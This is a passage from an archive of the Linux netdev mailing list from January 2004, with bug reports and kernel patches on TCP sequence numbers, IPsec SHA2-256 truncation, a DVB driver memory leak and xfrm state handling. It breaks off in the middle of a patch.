User-Agent: Mutt/1.4i X-archive-position: 2308 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: willy@w.ods.org Precedence: bulk X-list: netdev Content-Length: 917 Lines: 18 You should post this with more information to netdev@oss.sgi.com. Please describe your setup a bit. Where do the packets originate. Are they forwarded by the firewall or emitted by it ? In the later case, are they generated by a local process or are they replies ? etc... Willy On Thu, Jan 08, 2004 at 05:48:19PM -0500, Nathaniel M Nelson wrote: > I have 3 machines running 2.4.22 (Slackware 9.1) and only one of them, > which happens to be my firewall, sends out TCP sequence numbers starting > with "0". This does not seem right to me. If this is not a bug, I > apoligize...if anyone thinks it might be, please tell me if you need > more in-depth info. > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ From nmn@chartermi.net Thu Jan 8 20:22:17 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 08 Jan 2004 20:22:30 -0800 (PST) Received: from proxy3-baycity.chartermi.net (proxy3baymi.bay.mi.charter.com [24.247.24.41]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i094MGTa019639 for ; Thu, 8 Jan 2004 20:22:16 -0800 Received: from chartermi.net (24.231.146.33.gha.mi.chartermi.net [24.231.146.33] (may be forged)) by proxy3-baycity.chartermi.net (8.11.7p1+Sun/8.11.6) with ESMTP id i094M5A09755 for ; Thu, 8 Jan 2004 23:22:05 -0500 (EST) Message-ID: <3FFE2B00.2030607@chartermi.net> Date: Thu, 08 Jan 2004 23:16:00 -0500 From: Nathaniel M Nelson User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Possible weird TCP bug Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Charter-MailScanner-Information: X-Charter-MailScanner: X-archive-position: 2309 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: nmn@chartermi.net Precedence: bulk X-list: netdev Content-Length: 1880 Lines: 34 I have encountered a strange issue with one of my linux machines (which happens to be my firewall/masquerading box)....it seems that the TCP sequence numbers that it generates for output start with "0". This goes for any packet that originates from the firewall itself or any packets that are forwarded to that machine. This does not seem right to me...any other linux box that I hook up to the WAN looks like they generate a normal sequence number. This particular system is running a Tyan Thunder/LE-T 2518GN motherboard which is a Dual Socket 370 board. It has two Intel 82559 LAN controllers. Let me know if anyone needs more specs. It was running the 2.4.22 kernel and now runs the 2.4.24 kernel and both have the same tcp sequence problem. Below is a sample SYN packet going out to google.com. It has a sequence # of "0". 0000 00 02 7d 66 a4 54 00 e0 81 23 14 78 08 00 45 00 ..}f.T.. .#.x..E. 0010 00 3c 9a 41 40 00 3f 06 f4 1f 18 e7 92 21 d8 ef .<.A@.?. .....!.. 0020 29 63 89 37 00 50 e5 4b 22 e0 00 00 00 00 a0 02 )c.7.P.K "....... 0030 16 d0 36 6a 00 00 02 04 05 b4 04 02 08 0a 03 1d ..6j.... ........ 0040 b8 a1 00 00 00 00 01 03 03 00 ........ .. Then after I get the SYN,ACK back, the firewall will send out the next ACK with the sequence number correctly incremented by 1. 0000 00 02 7d 66 a4 54 00 e0 81 23 14 78 08 00 45 00 ..}f.T.. .#.x..E. 0010 00 28 9a 42 40 00 3f 06 f4 32 18 e7 92 21 d8 ef .(.B@.?. .2...!.. 0020 29 63 89 37 00 50 e5 4b 22 e1 db f2 5c c5 50 10 )c.7.P.K "...\.P. 0030 16 d0 21 3d 00 00 ..!=. So of course the sequence is "1" in that packet. Both sequence numbers seem a little low though... and not very cryptic. If this is not a bug I apoligize in advance. (Please CC replies to nmn@chartermi.net as I am not subscribed.) From michal@logix.cz Fri Jan 9 00:51:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 00:51:26 -0800 (PST) Received: from maxipes.logix.cz (maxipes.logix.cz [81.0.234.97]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i098pATa028999 for ; Fri, 9 Jan 2004 00:51:13 -0800 Received: from logix.cz (styx.suse.cz [213.210.157.162]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client CN "Michal Ludvig", Issuer "Personal Freemail RSA 2000.8.30" (verified OK)) by maxipes.logix.cz (Postfix) with ESMTP id 71147299F3; Fri, 9 Jan 2004 09:51:08 +0100 (CET) Message-ID: <3FFE6B72.9030808@logix.cz> Date: Fri, 09 Jan 2004 09:50:58 +0100 From: Michal Ludvig User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.5) Gecko/20030925 X-Accept-Language: cs, cz, en MIME-Version: 1.0 To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] sha2-256 truncation Content-Type: multipart/mixed; boundary="------------090003070806070002080905" X-archive-position: 2310 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: michal@logix.cz Precedence: bulk X-list: netdev Content-Length: 1233 Lines: 40 This is a multi-part message in MIME format. --------------090003070806070002080905 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, the attached trivial patch corrects the truncation size of computed hashes that are used in IPsec ESP/AH packets for SHA2-256. All other hash algorithms use 96 bits as well as does SuperFreeS/WAN and FreeBSD also for SHA2-256. Only the native Linux sha2-256 used 128 bits what led to incompatibility with other IPsec implementations. Please apply, thanks! Michal Ludvig -- * A mouse is a device used to point at the xterm you want to type in. * Personal homepage - http://www.logix.cz/michal --------------090003070806070002080905 Content-Type: text/plain; name="kernel-sha256.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="kernel-sha256.diff" --- linux-2.6.0/net/xfrm/xfrm_algo.c 2004-01-08 01:29:52.067261651 +0100 +++ linux-2.6.0.orig/net/xfrm/xfrm_algo.c 2004-01-08 01:28:38.668690081 +0100 @@ -85,7 +85,7 @@ static struct xfrm_algo_desc aalg_list[] .uinfo = { .auth = { - .icv_truncbits = 96, + .icv_truncbits = 128, .icv_fullbits = 256, } }, --------------090003070806070002080905-- From andi@muc.de Fri Jan 9 01:09:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 01:09:37 -0800 (PST) Received: from averell.firstfloor.org (niemand@pD95263A3.dip.t-dialin.net [217.82.99.163]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0999ETa029721 for ; Fri, 9 Jan 2004 01:09:15 -0800 Received: from averell.firstfloor.org (localhost [127.0.0.1]) by averell.firstfloor.org (8.12.6/8.12.6/SuSE Linux 0.6) with ESMTP id i0999BpL001815; Fri, 9 Jan 2004 10:09:11 +0100 Received: (from andi@localhost) by averell.firstfloor.org (8.12.6/8.12.6/Submit) id i09998YV001814; Fri, 9 Jan 2004 10:09:08 +0100 Date: Fri, 9 Jan 2004 10:09:08 +0100 From: Andi Kleen To: jgarzik@pobox.com Cc: netdev@oss.sgi.com, mikep@linuxtr.net, linux-tr@linuxtr.net Subject: [PATCH] Mark IBM TR driver as not 64 bit clean Message-ID: <20040109090908.GA1772@averell> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 2311 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Content-Length: 764 Lines: 18 This driver doesn't seem to be 64bit clean judging from the warnings on x86-64. Mark it as !64BIT. -Andi diff -burpN -X ../KDIFX linux-vanilla/drivers/net/pcmcia/Kconfig linux-2.6.1-amd64/drivers/net/pcmcia/Kconfig --- linux-vanilla/drivers/net/pcmcia/Kconfig 2003-09-28 10:55:00.000000000 +0200 +++ linux-2.6.1-amd64/drivers/net/pcmcia/Kconfig 2004-01-01 06:56:50.000000000 +0100 @@ -119,7 +119,7 @@ config ARCNET_COM20020_CS config PCMCIA_IBMTR tristate "IBM PCMCIA tokenring adapter support" - depends on NET_PCMCIA && IBMTR!=y && TR && PCMCIA + depends on NET_PCMCIA && IBMTR!=y && TR && PCMCIA && !64BIT help Say Y here if you intend to attach this type of Token Ring PCMCIA card to your computer. You then also need to say Y to "Token Ring From davem@pizda.ninka.net Fri Jan 9 02:01:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 02:01:51 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i09A1bTa031701 for ; Fri, 9 Jan 2004 02:01:38 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA04474; Fri, 9 Jan 2004 01:55:27 -0800 Date: Fri, 9 Jan 2004 01:55:27 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com Subject: Re: [PATCH] (1/17) protocol sendmsg/revmsg prototype Message-Id: <20040109015527.1131a9ab.davem@redhat.com> In-Reply-To: <20040109132658.01aa28dd@linux.local> References: <20040109132658.01aa28dd@linux.local> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2312 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 275 Lines: 9 On Fri, 9 Jan 2004 13:26:58 -0800 Stephen Hemminger wrote: > The first patch changes the prototype, and causes all the protocols to > generate warnings that are cleared up in the next sixteen. All added to my 2.6.2-preX pending tree. Thanks Stephen. From davem@pizda.ninka.net Fri Jan 9 02:07:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 02:07:17 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i09A74Ta032160 for ; Fri, 9 Jan 2004 02:07:04 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA04513; Fri, 9 Jan 2004 02:00:43 -0800 Date: Fri, 9 Jan 2004 02:00:43 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com, ajz@cambridgebroadband.com Subject: Re: [PATCH][ATM]: br2684 incorrectly handles frames recvd with FCS (by Alex Zeffertt ) Message-Id: <20040109020043.223dc1b1.davem@redhat.com> In-Reply-To: <200401081658.i08GwdRr017374@ginger.cmf.nrl.navy.mil> References: <200401081658.i08GwdRr017374@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2313 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 164 Lines: 6 On Thu, 08 Jan 2004 11:58:40 -0500 chas williams (contractor) wrote: > please apply to 2.6 (and 2.4 as well!) Applied, thanks a lot Chas. From davem@pizda.ninka.net Fri Jan 9 02:11:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 02:11:21 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i09AB8Ta001049 for ; Fri, 9 Jan 2004 02:11:08 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id CAA04592; Fri, 9 Jan 2004 02:04:56 -0800 Date: Fri, 9 Jan 2004 02:04:56 -0800 From: "David S. Miller" To: Andi Kleen Cc: netdev@oss.sgi.com Subject: Re: [PATCH] Mark SIOCSIFNAME as compatible ioctl Message-Id: <20040109020456.045b447e.davem@redhat.com> In-Reply-To: <20040108070413.GA31778@averell> References: <20040108070413.GA31778@averell> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2314 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 293 Lines: 10 On Thu, 8 Jan 2004 08:04:13 +0100 Andi Kleen wrote: > Mark SIOCSIFNAME as an ioctl that doesn't need 32bit conversion. > > Fixes nameif as 32bit executable. How can we mark it compatible? It needs the stuff dev_ifname32() in fs/compat_ioctl.c does for SIOCGIFNAME doesn't it? From michal@logix.cz Fri Jan 9 02:51:02 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 02:51:15 -0800 (PST) Received: from maxipes.logix.cz (maxipes.logix.cz [81.0.234.97]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i09AooTa005787 for ; Fri, 9 Jan 2004 02:50:51 -0800 Received: from logix.cz (styx.suse.cz [213.210.157.162]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client CN "Michal Ludvig", Issuer "Personal Freemail RSA 2000.8.30" (verified OK)) by maxipes.logix.cz (Postfix) with ESMTP id 8ACC029A1C; Fri, 9 Jan 2004 11:12:46 +0100 (CET) Message-ID: <3FFE7E98.6060201@logix.cz> Date: Fri, 09 Jan 2004 11:12:40 +0100 From: Michal Ludvig User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.5) Gecko/20030925 X-Accept-Language: cs, cz, en MIME-Version: 1.0 To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] sha2-256 truncation References: <3FFE6B72.9030808@logix.cz> In-Reply-To: <3FFE6B72.9030808@logix.cz> Content-Type: multipart/mixed; boundary="------------080108030503020203040007" X-archive-position: 2315 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: michal@logix.cz Precedence: bulk X-list: netdev Content-Length: 1324 Lines: 42 This is a multi-part message in MIME format. --------------080108030503020203040007 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Michal Ludvig told me that: > the attached trivial patch corrects the truncation size of computed > hashes that are used in IPsec ESP/AH packets for SHA2-256. All other > hash algorithms use 96 bits as well as does SuperFreeS/WAN and FreeBSD > also for SHA2-256. Only the native Linux sha2-256 used 128 bits what led > to incompatibility with other IPsec implementations. Oops, sorry. I sent a reversed patch originally. Please use this one instead. Michal Ludvig -- * A mouse is a device used to point at the xterm you want to type in. * Personal homepage - http://www.logix.cz/michal --------------080108030503020203040007 Content-Type: text/plain; name="kernel-sha256.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="kernel-sha256.diff" --- linux-2.6.0/net/xfrm/xfrm_algo.c 2004-01-08 01:29:52.067261651 +0100 +++ linux-2.6.0.orig/net/xfrm/xfrm_algo.c 2004-01-08 01:28:38.668690081 +0100 @@ -85,7 +85,7 @@ static struct xfrm_algo_desc aalg_list[] .uinfo = { .auth = { - .icv_truncbits = 128, + .icv_truncbits = 96, .icv_fullbits = 256, } }, --------------080108030503020203040007-- From Holger.Kiehl@dwd.de Fri Jan 9 07:01:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 07:01:34 -0800 (PST) Received: from dwdmx2.dwd.de (dwdmx2.dwd.de [141.38.3.197]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i09F1ETa017191 for ; Fri, 9 Jan 2004 07:01:15 -0800 Received: (qmail 6968996 invoked from network); 9 Jan 2004 15:01:12 -0000 Received: from mhofsv1.dwd.de (141.38.32.42) by dwdmx2.dwd.de with SMTP; 9 Jan 2004 15:01:12 -0000 Received: from praktifix.dwd.de by mhofsv1.dwd.de with ESMTP for netdev@oss.sgi.com; Fri, 9 Jan 2004 16:01:12 +0100 Date: Fri, 9 Jan 2004 15:01:12 +0000 (GMT) From: Holger Kiehl X-X-Sender: kiehl@praktifix.dwd.de To: netdev@oss.sgi.com Subject: Re: Problems with ipv4 multicast implementation in 2.4? (fwd) In-Reply-To: Message-Id: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT X-archive-position: 2317 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Holger.Kiehl@dwd.de Precedence: bulk X-list: netdev Content-Length: 9093 Lines: 166 Hello The problem has been resolved by Rafal Malek from tellique, here his reasoning: Each network device supports sending and receiving of data packets by default. But, in case of one-way satellite communication (used by your TelliCast service) the device is not able to send data - it only receives. So, if the DVB device (configured as a network interface) wants to send data (e.g. broadcasts for its own subnet) the data cannot be delivered and the packets' information is cached, the DVB driver does _not_ free the buffer of the packets which should be sent. Both the drivers from linuxtv.org and the open source driver from the pent@value card have this error. Simply inserting a dev_kfree_skb(skb) in the dvb_net_tx() (linuxtv.org) / PentaVal_start_xmit() (pent@value) function solved this problem. Rafal Malek verified this for the linuxtv.org driver and I did it for the pent@value driver. Here the relevant values for a system with a pent@value card and nearly 23 days uptime: ip_dst_cache 270 270 256 18 18 1 : 252 126 skbuff_head_cache 795 795 256 53 53 1 : 252 126 size-2048 452 482 2048 238 241 1 : 60 30 Thank you to all the people who helped to find this error! Unfortunatly there still is another leak, the dentry_cache value does not go down. But this problem does not belong to this list. Holger On Fri, 14 Nov 2003, Holger Kiehl wrote: > Sorry for cross posting this message, but it has been pointed out that > linux-kernel is the wrong list for this question. > > Hello > > We have about 25 systems that receive data via a pci DVB card from satellite. > The data is received through multiple muticast streams by some closed > source software. On all systems we notice that the free memory decreases > until in most cases the system are no longer reachable via network. They > then constantly print out: dst cache overflow. But I also have noticed that > some systems lock up hard, I assume this is because we just increase > the ip_dst_cache in /proc/sys/net/ipv4/route/max_size to some very > large value. > > I also know that the German Telekom and Eumetsat have the same problems > and always have to reboot their systems. I also have reports from Austria > and expect many more systems in Europe are effected. > > To get more information I have setup 3 systems with different kernels and > hardware and noticed that over the time ip_dst_cache and skbuff_head_cache > in /proc/slabinfo always increase. They never go down. Also one or more of > the of the size-x values always increase depending on the kernel and DVB > card being used. Here some more slabinfo details and hardware being used: > > System1 : PIII 450MHz, 256MB ram, Kernel 2.4.23-pre9, pent@value DVB card > System2 : PII 350MHz, 384MB ram, Kernel 2.4.21, pent@value DVB card > System3 : P4 2.4GHz with HT enabled, 1 GB ram (high mem enabled), > Kernel 2.4.23-rc1 and libata patch, Nova-S DVB card > > Now the slabinfo data every 24 hours: > > System1: > > ip_dst_cache 647 672 160 27 28 1 > ip_dst_cache 7444 7464 160 311 311 1 > ip_dst_cache 14339 14352 160 598 598 1 > ip_dst_cache 21106 21120 160 880 880 1 > ip_dst_cache 28101 28104 160 1171 1171 1 > > skbuff_head_cache 796 1008 160 41 42 1 > skbuff_head_cache 7588 7824 160 326 326 1 > skbuff_head_cache 14482 14688 160 612 612 1 > skbuff_head_cache 21258 21480 160 895 895 1 > skbuff_head_cache 28255 28416 160 1184 1184 1 > > size-2048 685 968 2048 343 484 1 > size-2048 7483 7676 2048 3742 3838 1 > size-2048 14376 14398 2048 7188 7199 1 > size-2048 21146 21216 2048 10573 10608 1 > size-2048 28142 28292 2048 14071 14146 1 > > System2: > > ip_dst_cache 9 48 160 1 2 1 > ip_dst_cache 7437 7464 160 311 311 1 > ip_dst_cache 15161 15168 160 632 632 1 > ip_dst_cache 18831 18840 160 785 785 1 > > skbuff_head_cache 14 24 160 1 1 1 > skbuff_head_cache 11482 12168 160 500 507 1 > skbuff_head_cache 23312 23904 160 996 996 1 > skbuff_head_cache 28900 29640 160 1235 1235 1 > > size-128 611 660 128 21 22 1 > size-128 11987 12210 128 402 407 1 > size-128 23800 23970 128 798 799 1 > size-128 29445 29670 128 983 989 1 > > > Slabinfo for every 12 hours and CONFIG_DEBUG_SLAB set: > > System3: > > ip_dst_cache 576 576 160 24 24 1 : 576 576 24 0 0 : 252 126 : 1946 48 1426 0 > ip_dst_cache 17760 17760 160 740 740 1 : 17760 17760 740 0 0 : 252 126 : 46553 1480 29557 0 > ip_dst_cache 35376 35376 160 1474 1474 1 : 35376 36403 1474 0 0 : 252 126 : 94140 3014 60309 0 > ip_dst_cache 51624 51624 160 2151 2151 1 : 51624 53444 2151 0 0 : 252 126 : 138864 4431 89547 0 > > skbuff_head_cache 1311 1311 168 57 57 1 : 1311 79557 57 0 0 : 252 126 : 82108 735 81114 621 > skbuff_head_cache 18492 18492 168 804 804 1 : 18492 3300792 804 0 0 : 252 126 : 3320868 27658 3303434 26050 > skbuff_head_cache 36133 36133 168 1571 1571 1 : 36133 6652585 1583 12 0 : 252 126 : 6684139 55715 6649977 52420 > skbuff_head_cache 52371 52371 168 2277 2277 1 : 52371 9913620 2294 17 0 : 252 126 : 9957116 82923 9907545 78097 > > size-8192 540 540 8192 540 540 2 : 540 3196 540 0 0 : 0 0 : 0 0 0 0 > size-8192 17736 17738 8192 17736 17738 2 : 17738 23194 17738 0 0 : 0 0 : 0 0 0 0 > size-8192 35367 35367 8192 35367 35367 2 : 35367 43715 35374 7 0 : 0 0 : 0 0 0 0 > size-8192 51596 51598 8192 51596 51598 2 : 51598 62824 51611 13 0 : 0 0 : 0 0 0 0 > > size-2048 452 512 2048 240 256 1 : 512 75002 256 0 0 : 60 30 : 140293 2995 140145 2485 > size-2048 454 514 2048 238 257 1 : 514 3029044 257 0 0 : 60 30 : 5130850 101465 5130703 100953 > size-2048 456 486 2048 241 243 1 : 530 6113873 593 350 0 : 60 30 : 10457205 204975 10457530 203655 > size-2048 454 484 2048 239 242 1 : 542 9104228 1042 800 0 : 60 30 : 15398297 305608 15399447 303014 > > size-128 2016 2268 136 78 81 1 : 2268 9125 81 0 0 : 252 126 : 23644 195 22128 56 > size-128 19096 19096 136 682 682 1 : 19096 26457 682 0 0 : 252 126 : 131136 1401 113018 58 > size-128 36708 36708 136 1311 1311 1 : 36708 59707 1317 6 0 : 252 126 : 255889 2833 220918 144 > size-128 52920 52920 136 1890 1890 1 : 52920 81855 1911 21 0 : 252 126 : 370264 4135 319786 153 > > size-64 7844 7844 72 148 148 1 : 7844 7931 148 0 0 : 252 126 : 15660 253 9102 0 > size-64 18497 18497 72 349 349 1 : 18497 18584 349 0 0 : 252 126 : 110763 655 93784 0 > size-64 24963 24963 72 471 471 1 : 24963 32458 471 0 0 : 252 126 : 209402 1008 186275 0 > size-64 34503 34503 72 651 651 1 : 34503 48900 651 0 0 : 252 126 : 305026 1613 272674 0 > > There is much more data available, the full slabinfo was taken every > hour for each system. Additionally with the help of Jörn Engel I managed > to setup System1 with gcov kernel patch and have all data available on > an hourly basis until the system has reached "dst cache overflow". I have > tried very hard to evaluate this data myself, but find that the linux > network code is way beyond my c programming knowledge. > > Another thing noticed is that as the memory usage increases the systems > become slower, when you log in on them and work there. > > Has anyone any suggestion of what else I can do to narrow down the problem? > > What I am also not sure if it is correct to assume the bug in the ipv4 > multicast implementation, or can it still be a driver problem? But I assume > two completely different drivers make this very unlikely. > > Please, can someone help me to find the bug. I am willing to do any tests > or provide more information. > > Thanks, > Holger > > PS: Please cc me, since I am not on the list. > > > -- From ak@suse.de Fri Jan 9 08:28:46 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 08:28:59 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i09GSZTa027847 for ; Fri, 9 Jan 2004 08:28:35 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B12C519B779C; Fri, 9 Jan 2004 16:56:28 +0100 (CET) Date: Fri, 9 Jan 2004 16:56:27 +0100 From: Andi Kleen To: "David S. Miller" Cc: ak@muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Mark SIOCSIFNAME as compatible ioctl Message-Id: <20040109165627.2e0845af.ak@suse.de> In-Reply-To: <20040109020456.045b447e.davem@redhat.com> References: <20040108070413.GA31778@averell> <20040109020456.045b447e.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2318 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 793 Lines: 33 On Fri, 9 Jan 2004 02:04:56 -0800 "David S. Miller" wrote: > On Thu, 8 Jan 2004 08:04:13 +0100 > Andi Kleen wrote: > > > Mark SIOCSIFNAME as an ioctl that doesn't need 32bit conversion. > > > > Fixes nameif as 32bit executable. > > How can we mark it compatible? It needs the stuff dev_ifname32() in > fs/compat_ioctl.c does for SIOCGIFNAME doesn't it? It takes two strings. This should be compatible: struct ifreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "en0" */ / } ifr_ifrn; union { ... char ifru_newname[IFNAMSIZ]; ... } ifr_ifru; }; -Andi P.S.: Maybe it would be time update the "en0" comment in if.h too ;-) I bet that comes from VAX/BSD. From krkumar@us.ibm.com Fri Jan 9 17:48:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 09 Jan 2004 17:48:16 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0A1luTa015969 for ; Fri, 9 Jan 2004 17:48:03 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0A1lod6386116; Fri, 9 Jan 2004 20:47:50 -0500 Received: from linux-udp15191261uds.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0A1lmqb107198; Fri, 9 Jan 2004 20:47:49 -0500 Date: Fri, 9 Jan 2004 17:40:03 -0800 (PST) From: Krishna Kumar X-X-Sender: krkumar@linux-udp14999547uds To: "David S. Miller" cc: netdev@oss.sgi.com, KK , Subject: [PATCH] Bugs in xfrm In-Reply-To: <20031108223049.36651f8d.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2319 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 5781 Lines: 171 Hi Dave, The following look to be bugs in xfrm related code. 1. In xfrm_lookup, a couple of bugs : - the found or allocated xfrm_states are not passed correctly to xfrm_bundle_create (and to the subsequent frees in case of create failing) if the first xfrm_tmpl_resolve failed and the second one succeeded. - error handling is wrong. 2. In pfkey_get(), the xfrm_state is dereferenced after it is dropped, which could lead to dereferencing freed memory. 3. ipcomp_tunnel_create and xfrm_state_construct don't set x->km.state to XFRM_STATE_DEAD. This can lead to the BUG_TRAP in __xfrm_state_destroy when xfrm_state_put() finds this is the last reference. This was reported as one of the problems of [Bug 1754] some time back. 4. I am not sure of this one. I think dst_free() cannot be used when a bundle of dst's are allocated and have to be freed. We need a new dst_bundle_free() routine to free all linked dst's ?? Change is in __xfrm[46]_bundle_create & xfrm_lookup(), the lookup one I am not very sure. Why are we doing a dst_put(), shouldn't this be a free of all dst's off the dst->child list since the routine marking 'dead' cleared all entries off the dst->next list ? These changes compile cleanly, but I couldn't test since these are corner cases. Please let me know if this can be applied. I am sending as one patch file for now instead of multiple files as they all small. Thanks, - KK diff -ruN linux-2.6.0-rc2-bk6.org/include/net/dst.h linux-2.6.0-rc2-bk6/include/net/dst.h --- linux-2.6.0-rc2-bk6.org/include/net/dst.h 2004-01-09 17:08:18.000000000 -0800 +++ linux-2.6.0-rc2-bk6/include/net/dst.h 2004-01-09 17:08:55.000000000 -0800 @@ -168,6 +168,7 @@ extern void * dst_alloc(struct dst_ops * ops); extern void __dst_free(struct dst_entry * dst); +extern void dst_bundle_free(struct dst_entry * dst); extern struct dst_entry *dst_destroy(struct dst_entry * dst); static inline void dst_free(struct dst_entry * dst) diff -ruN linux-2.6.0-rc2-bk6.org/net/ipv4/ipcomp.c linux-2.6.0-rc2-bk6/net/ipv4/ipcomp.c --- linux-2.6.0-rc2-bk6.org/net/ipv4/ipcomp.c 2004-01-05 13:43:50.000000000 -0800 +++ linux-2.6.0-rc2-bk6/net/ipv4/ipcomp.c 2004-01-09 13:00:22.000000000 -0800 @@ -294,6 +294,7 @@ return t; error: + t->km.state = XFRM_STATE_DEAD; xfrm_state_put(t); t = NULL; goto out; diff -ruN linux-2.6.0-rc2-bk6.org/net/ipv4/xfrm4_policy.c linux-2.6.0-rc2-bk6/net/ipv4/xfrm4_policy.c --- linux-2.6.0-rc2-bk6.org/net/ipv4/xfrm4_policy.c 2004-01-09 